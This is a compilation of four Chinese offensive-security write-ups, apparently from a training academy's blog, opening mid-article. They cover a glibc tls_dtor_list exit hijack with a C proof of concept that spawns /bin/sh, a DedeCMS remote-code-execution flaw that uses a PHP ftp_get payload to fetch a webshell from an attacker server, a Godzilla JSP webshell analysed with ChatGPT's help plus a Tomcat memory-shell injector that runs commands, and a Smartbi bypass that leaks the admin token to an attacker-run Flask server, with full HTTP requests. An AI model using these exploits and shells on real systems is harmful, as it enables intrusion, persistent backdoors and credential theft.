根据上述的方法,我们成功进入后续的流程
但是在执行函数执行时,会遇到另一个问题,最后的指针值被修改为乱七八糟的值了。
这是因为上述的宏定义PTR_DEMANGLE,需要将函数指针进入一个解密的流程,因此在传递指针值时,需要先传递一个加密后的指针值。解密的流程如下,
先将指针循环右移0x11,然后与fs:[0x30]进行异或。循环右移比较好解决,先将指针循环左移即可。但是这个异或值则需要获得fs:[0x30]的值。
0x7ffff7c45d88 <__call_tls_dtors+40> ror rax, 0x11
0x7ffff7c45d8c <__call_tls_dtors+44> xor rax, qword ptr fs:[0x30]
也可以看到这个值是一个八字节的随机值,因此通过爆破获得的可能性不大。
那么该攻击方法需要的一个要求就是能够获得该随机值或者能够篡改该值。需要注意点是指针值是先循环右移在异或,因此在加密指针时需要先异或在循环左移。那么解决上述问题之后就能够正确调用地址了,此时就应该考虑该函数指针需要如何传参。可以看到下图,rdi寄存器是通过我们传入的指针值作为基地址进行寻址的,只需要在偏移加8的位置填充/bin/sh的地址值即可。
POC
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned long long rotate_left(unsigned long long value, int left)
{
return (value << left) | (value >> (sizeof(unsigned long long) * 8 - left));
}
int main() {
unsigned long long fs_base;
unsigned long long index = 0xffffffffffffffa8;
unsigned long long tls_dtor_list_addr;
unsigned long long random_number;
void *system_ptr = (void *)&system;
printf("system:%p\n",system_ptr);
// 使用汇编嵌入获取FS寄存器的值
asm("mov %%fs:0, %0" : "=r" (fs_base));
printf("Value in FS register: 0x%llx\n", fs_base);
tls_dtor_list_addr = fs_base - 88;
random_number = *(unsigned long long *)(fs_base + 0x30);
char *str_bin_sh = malloc(0x20);
strcpy(str_bin_sh,"/bin/sh");
void *ptr = malloc(0x20);
*(unsigned long long *)ptr = rotate_left((unsigned long long)system_ptr ^ random_number,0x11);
*(unsigned long long *)(ptr + 8) = str_bin_sh;
*(unsigned long long *)tls_dtor_list_addr = ptr;
return 0;
}
总结
简单总结一下通过tls_dtor_list劫持exit执行流程的条件
存在任意地址写的漏洞利用
能够篡改或泄露fs_base + 0x30的值
程序会通过exit函数结束程序,若是通过_exit则不行
Dedecms最新版--0day分享分析(二)
前言
接之前写的一篇https://www.yijinglab.com/specialized/20230814150207,既然利用远程文件下载方式成为了实现RCE的最好方法,毕竟在执行的时候没有恶意shell文件,恶意木马被存放于远端服务器,那么下文的day就是对远程恶意文件的利用。
环境
下载最新版本:
https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.110-UTF8.zip影响版本:
<=DedeCMS-V5.7.110
漏洞URL:
/uploads/dede/article_string_mix.php
/uploads/dede/sys_data.php
/uploads/dede/sys_task.php
/uploads/dede/media_add.php
/uploads/dede/article_template_rand.php
漏洞详情
远程服务器开启ftp服务
控制面板 >> 程序 >> 启用或关闭windows功能
完成更改
计算机管理
添加FTP站点
配置地址以及账号密码
上面存放一句话木马
文件内容为
payload如下:
<?
$ftp_server = "192.168.0.102";
$ftp_username = "administrator";
$ftp_password = "147258369";
$file = "shell.php";
$local_file = "shell2.php";
// set up basic connection
$conn_id = ftp_connect($ftp_server);
// login with username and password
$login_result = ftp_login($conn_id, $ftp_username, $ftp_password);
// try to download $file and save to $local_file
if (ftp_get($conn_id, $local_file, $file, FTP_BINARY)) {
echo "Successfully downloaded $file\n";
} else {
echo "There was a problem while downloading $file\n";
}
// close the connection
ftp_close($conn_id);
?>
代码中的”ftp_server”为远程服务器地址,”ftp_username”为远程ftp登录用户名,”ftp_password”为ftp登录密码,”$file”为远程服务器的shell文件名,”$local_file”为从远程服务器下载木马文件到本地的重命名文件。通过利用ftp_get函数远程下载恶意代码文件,代码中的”ftp_server”为远程服务器地址,”ftp_username”为远程ftp登录用户名,”ftp_password”为ftp登录密码,”$file”为远程服务器的shell文件名,”$local_file”为从远程服务器下载木马文件到本地的重命名文件。
文件保存后,访问路径
/uploads/data/template.rand.php
提示已经成功下载一句话木马文件,查看当前目录已经生成名称为shell2.php的shell文件
http://dedecms.xyz:8066/uploads/data/shell1.php 成功命令执行
漏洞分析
DedeCMS-V5.7.109-UTF8\uploads\dede\media_add.php
上传文件的时候仅仅只对权限以及上传类型做了校验,对文件内容未做校验导致漏洞产生。
继续向下看,文件上传文件处理代码DedeCMS-V5.7.109-UTF8\uploads\dede\file_manage_control.php
代码中定义了disable_funs,但是禁用的函数涉及
phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders
在上面的payload中,利用手法利用点儿在于
ftp_get函数是可以绕过disable_funs的,使用该函数实现bypass进行远程恶意代码调用,导致RCE。
小结
其它的方法也可以尝试,ftp远程调用,telnet远程调用等,包括很多方法可以实现,但是使用条件存在限制。其实在Dede由于后台参数可以直接进行配置,代码中disable_funs的定义没有意义,该模块只要存在,只要绕过正则,RCE的方式有很多。
借助AI分析哥斯拉木马原理与Tomcat回显链路挖掘
前言
本次分析使用了ChatGPT进行辅助分析,大大提升了工作效率,很快就分析出木马的工作流程和构造出利用方式。
分析
首先对该木马进行格式化,以增强代码的可读性。得到如下代码
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:declaration>
String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
class X extends ClassLoader
{
public X(ClassLoader z)
{
super(z);
}
public Class Q(byte[] cb)
{
return super.defineClass(cb, 0, cb.length);
}
}
/*
* 作用:AES解密
* m:true加密,False解密
* */
public byte[] x(byte[] s, boolean m)
{
try
{
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
}
catch(Exception e)
{
return null;
}
}
/*
* 作用:md5加密
* */
public static String md5(String s)
{
String ret = null;
try
{
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new
java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
}
catch(Exception e)
{}
return ret;
}
/*
* 作用:base64加密
* */
public static String base64Encode(byte[] bs) throws Exception
{
Class base64;
String value = null;
try
{
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]
{
byte[].class
}).invoke(Encoder, new Object[]
{
bs
});
}
catch(Exception e)
{
try
{
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[]
{
byte[].class
}).invoke(Encoder, new Object[]
{
bs
});
}
catch(Exception e2)
{}
}
return value;
}
/*
* base64解密
* */
public static byte[]base64Decode(String bs) throws Exception
{
Class base64;
byte[] value = null;
try
{
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]
{
String.class
}).invoke(decoder, new Object[]
{
bs
});
}
catch(Exception e)
{
try
{
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]
{
String.class
}).invoke(decoder, new Object[]
{
bs
});
}
catch(Exception e2)
{}
}
return value;
}
</jsp:declaration>
<jsp:scriptlet>
try
{
byte[] data = base64Decode(request.getParameter(pass));//对传入内容进行base64解密
data = x(data, false);//AES解密
if(session.getAttribute("payload") == null)
{
session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));//将字节码加载
}
else
{
request.setAttribute("parameters", new String(data));
Object f = ((Class) session.getAttribute("payload")).newInstance();
f.equals(pageContext);
response.getWriter().write(md5.substring(0, 16));
response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));
response.getWriter().write(md5.substring(16));
}
}
catch(Exception e){
response.getWriter().write(e.getMessage());
}
</jsp:scriptlet>
</jsp:root>
前期可以交付ChatGPT初步分析,理清各个函数的基本作用:
得知各个函数的基本功能之后我们主要看<jsp:scriptlet>中的内容:
try
{
byte[] data = base64Decode(request.getParameter(pass));//对传入内容进行base64解密
data = x(data, false);//AES解密
if(session.getAttribute("payload") == null)
{
session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));//将字节码加载
}
else
{
request.setAttribute("parameters", new String(data));
Object f = ((Class) session.getAttribute("payload")).newInstance();
f.equals(pageContext);
response.getWriter().write(md5.substring(0, 16));
response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));
response.getWriter().write(md5.substring(16));
}
}
catch(Exception e){
response.getWriter().write(e.getMessage());
}
可以看到首先会获取pass参数中的内容,进行base64解密获得一个字节数组,传入给x(),该函数第二个参数为true时候是进行加密,而第二个参数是false时候是解密.因此在base64解密后接着是AES解密,其中秘钥在<jsp:declaration>已经进行定义为xc变量它的值为3c6e0b8a9c15224a。在解密后会判断session.getAttribute("payload")是否为null,若不是null则将session中的payload变量设置为X类加载字节码后的类,在二次访问后对该类进行实例化。其基本流程如下:
EXP构建
按照上述流程,我们可以编译一个class文件读取后进行AES加密->Base64加密得到EXP,恶意代码的构造,可以在静态代码段中进行编写,因为在类加载时候会自动调用静态代码段。
exp.java
package exp;
import java.io.IOException;
public class exp {
static {
try {
Runtime.getRuntime().exec("touch /tmp/gg.txt");
} catch (IOException e) {
e.printStackTrace();
}
}
}
编译为class
javac exp.java
POC,我们可以利用木马中的x()、base64Encode当做EXP构成部分即可
package Fvck;
import java.io.*;
class Fvck{
public static byte[] readFileToByteArray(String filePath) {
File file = new File(filePath);
byte[] fileBytes = new byte[(int) file.length()];
try (FileInputStream fis = new FileInputStream(file)) {
fis.read(fileBytes);
} catch (IOException e) {
e.printStackTrace();
return null;
}
return fileBytes;
}
public static byte[] AesEncode(byte[] s, boolean m)
{
String xc = "3c6e0b8a9c15224a";
try
{
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
}
catch(Exception e)
{
return null;
}
}
public static String base64Encode(byte[] bs) throws Exception
{
Class base64;
String value = null;
try
{
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]
{
byte[].class
}).invoke(Encoder, new Object[]
{
bs
});
}
catch(Exception e)
{
try
{
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[]
{
byte[].class
}).invoke(Encoder, new Object[]
{
bs
});
}
catch(Exception e2)
{}
}
return value;
}
public static void main(String[] args) throws Exception {
String result = base64Encode(AesEncode(readFileToByteArray("/Users/gqleung/Desktop/exp.class"),true));
System.out.println(result);
}
}
内存马注入
寻找Request
Java Object Searcher
基本使用方法
IDEA->File->Project Structure->SDKs->JDK home path,找到ClassPath地址
将java-object-searcher-0.1.0-jar-with-dependencies.jar放到该地址下的/jre/lib/ext/中例如:
/Library/Java/JavaVirtualMachines/jdk1.8.0_251.jdk/Contents/Home/jre/lib/ext/java-object-searcher-0.1.0-jar-with-dependencies.jar
回到IDEA->File->Project Structure->SDKs,将java-object-searcher-0.1.0-jar-with-dependencies.jar添加到依赖。
在Tomcat上随便找个地方断点,后打开Evaluate
代码中设置日志输出文件夹,点击Evaluate
//设置搜索类型包含Request关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("Request").build());
//定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("/Users/gqleung/Desktop");
searcher.searchObject();
在运行结束后会输出日志到保存的文件夹:
在其中找一条链子
TargetObject = {org.apache.tomcat.util.threads.TaskThread} ---> group = {java.lang.ThreadGroup} ---> threads = {class [Ljava.lang.Thread;} ---> [17] = {java.lang.Thread} ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} ---> handler
创建一个线程根据上面链子寻找
代码编写
与上面一致,我们在index.jsp中随便找个地方下断点,Evaluate中进行查找。根据链子我们第一步是获取group,我们通过当前线程去获取该对象。
获取group
Thread thread = Thread.currentThread();//获取线程对象Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");//获取group属性groupField.setAccessible(true);ThreadGroup group = (ThreadGroup)groupField.get(thread);//读取group属性的值
获取threads
获取threads方法与获取group基本一致
/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
我们链子下一个对象是这个数组的第18个元素,也就是下标为17的元素,直接通过下标获取即可,注意一下数据类型。
/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
获取target
在链子中target是在org.apache.tomcat.util.net.NioEndpoint$Poller一个内部类中,我们直接使用这个包权限不够获取,因此可以使用上一个对象直接getClass()去获取,同时该数据类型权限也不够,因此需要用Object去代替.
/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*获取target*/
Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);
获取this$0
获取方法以及原因同上
/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*获取target*/
Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);
/*获取this$0*/
Field this$0Field = target.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
Object this$0 = this$0Field.get(target);
获取handler
这里我们直接同上方法会报错,我们用Class.forName去指定包来获取看看
我们却发现还是报错了,报错提示并不存在handler这个字段
我们直接从依赖中看,AbstractProtocol确实不存在handler,但是存在handler数据类型,并且这个数据类型是来自org.apache.tomcat.util.net.AbstractEndpoint.Handler
我们直接尝试从这个包获取handler,发现获取成功
/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*获取target*/
Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);
/*获取this$0*/
Field this$0Field = target.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
Object this$0 = this$0Field.get(target);
/*获取handler*/
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(this$0);
获取global
在获取到handler之后直接通过getClass获取即可
/*获取group*/Thread thread = Thread.currentThread();Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");groupField.setAccessible(true);ThreadGroup group = (ThreadGroup)groupField.get(thread);/*获取threads*/Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclared
回显链最终代码
/*获取group*/Thread thread = Thread.currentThread();Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");groupField.setAccessible(true);ThreadGroup group = (ThreadGroup)groupField.get(thread);/*获取threads*/Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclared
结合内存马
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.coyote.RequestGroupInfo;
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;
public class exp extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html");
String cmd = request.getParameter("cmd");
PrintWriter out = response.getWriter();
try {
Process ps = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
String result = sb.toString();
out.print(result);
} catch (Exception e) {
e.printStackTrace();
}
}
static {
try {
Thread thread = Thread.currentThread();
Field group = Class.forName("java.lang.Thread").getDeclaredField("group");
group.setAccessible(true);
ThreadGroup threadGroup = (ThreadGroup) group.get(thread);
Field threads = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threads.setAccessible(true);
Thread[] thread1 = (Thread[]) threads.get(threadGroup);
Thread t17 = thread1[17];
Field targetField = Class.forName("java.lang.Thread").getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);
Field this$0Field = target.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
Object this$0 = this$0Field.get(target);
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(this$0);
Field globalField = handler.getClass().getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);
Field processorsField = global.getClass().getDeclaredField("processors");
processorsField.setAccessible(true);
ArrayList processors = (ArrayList) processorsField.get(global);
Object r0 = processors.get(0);
Field reqField = r0.getClass().getDeclaredField("req");
reqField.setAccessible(true);
org.apache.coyote.Request req = (org.apache.coyote.Request) reqField.get(r0);
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");//获取servletContext中的context属性
applicationContextField.setAccessible(true);//设置该属性可访问性为True
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);//通过反射获取applicationContextField中context的值
Field standarContextField = applicationContext.getClass().getDeclaredField("context");//获取context属性值
standarContextField.setAccessible(true);//设置该属性可访问性为True
StandardContext context = (StandardContext) standarContextField.get(applicationContext);//通过反射获取context的值也就是StandardContext
//注册Servlet
Wrapper wrapper = context.createWrapper();//创建一个Wrapper
wrapper.setName("MemShellServlet");//设置Servlet名字
wrapper.setServletClass(exp.class.getName());
wrapper.setServlet(new exp());//实例化Servlet并设置对象为该Servlet
context.addChild(wrapper);//添加进Context
context.addServletMappingDecoded("/memoryshell","MemShellServlet");//注册Mapping
} catch (Exception e) {
}
}
}
使用哥斯拉木马注入Tomcat Servlet内存马
在tomcat中运行上述代码可以在网站WEB-INF/classes/exp.class生成class,我们根据前面构造的EXP生成的base64,(注意需要url编码)
需要访问两次才能触发
成功注入内存马
smartbi token回调获取登录凭证漏洞(二)
2023年8月8日Smartbi官方又修复了一处权限绕过漏洞。该漏洞是上一个特定场景下设置Token回调地址漏洞的绕过,未经授权的攻击者可利用该漏洞,获取管理员token,完全接管管理员权限。 于是研究了下相关补丁并进行分析。
0x01 分析过程
阅读相关补丁,可知此次漏洞与/smartbix/api/monitor/setAddress有关
是上一个漏洞的绕过,是发现了/smartbix/api/monitor/setAddress接口可以未授权设置SERVICE_ADDRESS、ENGINE_ADDRESS,只不过多了一步DES解密的过程(这个上次看的时候就发现了,但是由于将c_address、和u_address看成同一个了以为不能利用,只能说很多师傅都在看smartbi,只要一有新的洞,绕过很快就出来了)
查看CommonUtil.desDecode方法,其实也只是进行DES解密,密钥为isPassword
故只需要按照该算法进行加密恶意参数就可以设置SERVICE_ADDRESS、ENGINE_ADDRESS为伪造服务器地址,用于接收token
0x02 分析结果
第一步,获取之前的EngineAddress
首先通过/smartbi/smartbix/api/monitor/engineInfo/接口获取之前的engineAddress、serviceAddress这是因为要进行修改设置,需要提供之前的地址
POST /smartbi/smartbix/api/monitor/engineInfo/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 4
第二步,设置EngineAddress为攻击者机器上的伪造http服务地址
通过/smartbi/smartbix/api/monitor/setAddress/接口设置engineAddress为fake server地址该接口的参数需要进行DES加密,参数明文为
{
"type": "experiment",
"c_address": "http://10X.0.0.1:8010",
"u_address": "http://10x.0.0.55:8000"
}
c_address填写上述第一步获取得到的engineAddress,加密得到密文, u_address设置为新的engineAddress,可以理解为用于接收token的fake server地址,此处设置为http://10x.0.0.55:8000,这个是一个用flask搭建的fake server,上面只注册了/api/v1/configs/engine/smartbitoken路由
from flask import Flask,jsonify,request
app = Flask(__name__)
@app.route('/api/v1/configs/engine/smartbitoken',methods=["POST"])
def hello():
print(request.json)
return jsonify(hi="jello")
if __name__ == "__main__":
app.run(host="0.0.0.0",port=8000)
POST /smartbi/smartbix/api/monitor/setAddress/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 208
312E8684378EBDFF7E798B0BCCC45588EF682890F6F1701AF9D9416B4E357E80A1E8622D15B57E607DBBA3017ECED7C2CA66C54FD4D13B5C1F284652B5D82487F9D9416B4E357E80A1E8622D15B57E60A18C8967740045322142EE017FD0F4E9559184E27B9F8372
从响应来看返回true,即修改成功
第三步,触发smartbi向刚刚设置的EngineAddress外发token
POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 10
experiment
发送相关请求后,即可在我们的fake server上面看到了携带token的请求
第四步,使用上面获取的token进行登录
POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 47
admin_xxxxxxxxxxxxxxxxx84f50082
返回true表示登录成功,其中的cookie就是admin账户的合法凭证
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

